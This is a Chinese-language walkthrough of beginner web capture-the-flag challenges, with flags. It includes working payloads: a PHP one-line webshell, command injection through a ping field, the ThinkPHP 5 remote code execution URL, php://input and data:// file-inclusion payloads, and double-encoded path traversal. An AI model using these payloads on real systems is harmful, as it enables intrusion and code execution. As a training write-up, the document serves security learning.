view_source
题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
解题思路:的确如题目描述一样,右键源码不管用了,直接F12查看就可以了。
cyberpeace{c497590e759b6df0b7e517c27ea4a966}
robots
题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
解题思路:通过描述,这一题和robots有关,先来了解一下robots协议。
看完后,我们直接后缀拼接robots.txt就可以了。
可以看到网站下有个f1ag_1s_h3re.php文件,我们直接拼接看看能不能读出来。
cyberpeace{e44bf62bf9ed7049047c0f512aab7dc8}
backup
题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
解题思路:通过题目描述知道这一题和网站备份文件有关系。
常见的备份文件后缀名有:.git、.svn、.swp、.~、.bak、.bash_history、.bkf 、*.ara、*zip等等。
备份文件后缀有很多,可以将常用的一个一个试或者用工具扫描。
最后得到拼接.bak
得到文件
Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
cookie
题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
解题思路:通过描述了解到这题关键应该在cookie中,我们直接抓包查看一下cookie。
cookie里提示有look-here=cookie.php,拼接一下cookie.php。
提示让我们看一下http响应
cyberpeace{6a84661859c54d47564d5292eac38e4c}
disabled_button
题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
解题思路:通过题目描述得知,题目的关键在于前端知识并且按钮不能点击。我们想办法让按钮可以点击看一下。
通过前端审查元素查看,发现只需要删除disabled按钮就可以点击了。
cyberpeace{4541af16631542dd22a38f13c524adac}
weak_auth
题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。
解题思路:根据题目描述,我们知道就是让我们才用户名密码登录就可以了。
这里可以手试或者用字典跑。我直接拿出常用2组合试了试,直接过了。admin/admin admin/123456
admin/123456
cyberpeace{699597b2e803c7858fdd63a187170f47}
simple_php
题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
解题思路:通过题目描述了解到应该是php代码问题了。
代码意思就是想拿到flag1,则必须使得a==0且a不为0
flag1只有前部分,a=0a用到php弱类型,这是一个知识点。
php弱类型:字符串和数字比较使用==时,字符串会先转换为数字类型再比较
php var_dump('a' == 0);//true,这里'a'会被转换数字0
var_dump('123a' == 123);//true,这里'123a'会被转换为123
$a==0 and $a,a=a即可,$b>1234且!is_numeric($b),b=1234b
?a=0a&b=12345a即可得到flag
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
get_post
题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
解题思路:通过题目描述得知使要用http的get和post两种请求方式。
题目提示请用GET方式提交一个名为a,值为1的变量
得到第二个提示请再以POST方式随便提交一个名为b,值为2的变量
得到cyberpeace{e8314bd85d9ca905e8dccc30cb8542e5}
xff_referer
题目描述:X老师告诉小宁其实xff和referer是可以伪造的。
解题思路:根据题目描述得知是xff与referer。
XFF构造来源IP
Refer构造来源浏览器
提示ip地址必须是123.123.123.123
构造X-Forwarded-For:123.123.123.123
第二个提示必须来自谷歌
构造Referer:https://www.google.com
cyberpeace{c138f8c967326df51bc66ffdcedffdf1}
webshell
题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
解题思路:简单明了,就是菜刀连一句话木马了
直接提示在主页<?php @eval($_POST['shell']);?> 密码是shell
上菜刀链接
flag直接打开就可以得到
cyberpeace{a6fb679948fac51d69a4ed0a8ad68a8c}
command_execution
题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
解题思路:看描述ping功能,这应该是就是一个命令至执行的题了。
通过层层查找www.baidu.com|ls …/…/…/home/
查找到flag.txt在home下
查看www.baidu.com|cat …/…/…/home/flag.txt得到flag
cyberpeace{d5613cca6ec8c0fa9082fca27c6fd25f}
simple_js
题目描述:小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
解题思路:根据题目描述的意思是要输入对了密码才能拿到flag,但其实这是个坑,输入什么都是错的。
输入什么都会输出var pass = “70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65”;
查看右键源码会发现这一串就有可能是flag
dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
将他转换成文本55,56,54,79,115,69,114,116,107,49,50
将55,56,54,79,115,69,114,116,107,49,50转化成字符串786OsErtk12
Cyberpeace{786OsErtk12}
baby_web
题目描述:想想初始页面是哪个
解题思路:想想初始页面是啥,肯定是index.php了
发现输入拼接index.php会马上跳转回1.php
只能分析数据包在http里发现flag
flag{very_baby_web}
Training-WWW-Robots
题目描述:暂无
解题思路:虽然无描述,但是通过题目就可以知道是robots协议了。
看到了fl0g.php,直接拼接(和新手区那个robots题是一样的)
cyberpeace{49706581906560ae5448232caa4ab7c7}
php_rce
题目描述:暂无
解题思路:无描述,打开环境发现是thinkPHP V5
ThinkPHP V5远程执行公开漏洞(可以具体分析一下)
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
flag{thinkphp5_rce} flag{thinkphp5_rce}
Web_php_include
题目描述:暂无
解题思路:无描述,是一个php代码
page传参但是带有php://的都会被替换成空,而str_replace()是区分大小写的
str_replace()以其他字符替换字符串中的一些字符(区分大小写)
strstr() 查找字符串首次出现的位置。返回字符串剩余部分
就可以构成大小写绕过
可以直接看到fl4gisisish3r3.php文件了
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
补充:这道题有好几种解题思路/
PHP://input post: <?php system("ls");?>
index.php?page=data:text/plain,<?php system("ls"); ?>;
index.php?page=data:text/plain,<?php eval($_POST[c]); ?>
ics-06
题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
解题思路:只能进去看一下了,一个系统界面
点了一圈发现index.php界面可以传参
其实这个地方也是直接拿sqlmap跑的,跑不出来最后才发现这是个爆破题…
爆破遍历参数就可以了
2333时就出来flag了,有点拼脑洞了…
warmup
题目描述:暂无
解题思路:直接看题
一个滑稽表情
看源码得到source.php
得到一大串源代码,需要审计
<?php
highlight_file(__FILE__);//打印代码
class emmm//定义emmm类
{
public static function checkFile(&$page)//将传入的参数赋值给¥page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {//若$page变量不存在或者非法字符串
echo "you can't see it";//打印"you can't see it"
return false;//返回false
}
if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist中
return true;//返回true
}
$_page = mb_substr(//截取$_page中'?'前部分
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {//若$page变量存在于$whitelist中
return true;//返回tru
}
$_page = urldecode($page);//url解码$page
$_page = mb_substr(//截取$_page中'?'前部分
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {//若$page变量存在于$whitelist中
return true;//返回tru
}
echo "you can't see it";//打印"you can't see it"
return false;返回false
}
}
if (! empty($_REQUEST['file'])//$_REQUEST['file']值不能为空
&& is_string($_REQUEST['file'])//$_REQUEST['file']值是字符串
&& emmm::checkFile($_REQUEST['file'])//能通过checkFile函数校验
) {
include $_REQUEST['file'];//包含$_REQUEST['file']文件
exit;//退出当前脚本
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";//打印表情
}
?>
首先我们可以得到/hint.php
给了我们一个提示flag在ffffllllaaaagggg里面
checkFile
1.第一个if语句对变量进行检验,要求$page为字符串,否则返回false
2.第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
3.第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
4.第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url:
/?file=source.php%253f…/…/…/…/…/ffffllllaaaagggg
…/无返回值,无法判断ffffllllaaaagggg位置,依次增加最后…/…/…/…/…/找到ffffllllaaaagggg
flag{25e7bce6005c4e0c983fb97297ac6e5a}
NewsCenter
题目描述:如题目环境报错,稍等片刻刷新即可
解题思路:打开环境看了一下,很明显的一个注入。